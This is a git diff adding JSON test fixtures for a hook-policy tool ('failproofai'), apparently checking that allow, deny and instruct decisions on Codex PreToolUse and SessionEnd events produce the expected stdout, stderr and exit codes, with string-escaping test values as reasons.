"cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..afd44fab --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..7de08544 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..8e66e86d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f3466b78 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9ea0b761 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b11a5462 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2a7f4b34 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d1c85f4f --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c1903991 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..481fb1ed --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..7ec36c1b --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c1e54f4c --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3eb411fb --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d413356d --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..80ad2884 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..de864360 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8cf9e643 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f4ab8ca6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..86de64e3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": 